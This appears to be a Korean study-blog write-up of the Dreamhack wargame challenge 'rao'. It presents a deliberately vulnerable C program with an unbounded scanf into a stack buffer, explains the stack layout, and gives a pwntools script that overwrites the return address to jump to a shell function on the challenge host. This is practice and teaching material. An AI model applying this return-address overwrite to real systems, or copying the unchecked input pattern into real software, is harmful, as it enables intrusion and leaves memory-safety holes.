문제
풀이
제공된 파일: rao.c
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
rao를 컴파일 한 후 디버깅해보자.
스택에 0x30크기의 공간이 할당된 것을 알 수 있다.
현재 스택 프레임은 buf(0x30) + SFP(0x8) + ret(0x8)일 것이라고 추측해볼 수 있다.
그럼 이제 반환 주소를 덮어쓸 get_shell()의 주소를 찾아보자.
get_shell()의 주소는 0x4006aa이다.
따라서 payload는 다음과 같이 작성할 수 있다.
b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'이다.
이를 토대로 exploit 코드를 작성했다.
from pwn import *
p = remote("host1.dreamhack.games", 21162)
context.arch = "amd64"
payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()
한 줄 평
Exploit Tech: Return Address Overwrite에서 실습했던 문제랑 동일해서 수월하게 풀 수 있었다.
'Study > System Hacking' 카테고리의 다른 글
[dreamhack] basic_exploitation_001 (1) | 2022.05.09 |
---|---|
[dreamhack] basic_exploitation_000 (1) | 2022.05.08 |
[dreamhack] Exploit Tech: Return Address Overwrite (0) | 2022.05.06 |
[dreamhack] Memory Corruption: Stack Buffer Overflow (0) | 2022.05.05 |
[dreamhack] Background: Calling Convention (0) | 2022.05.04 |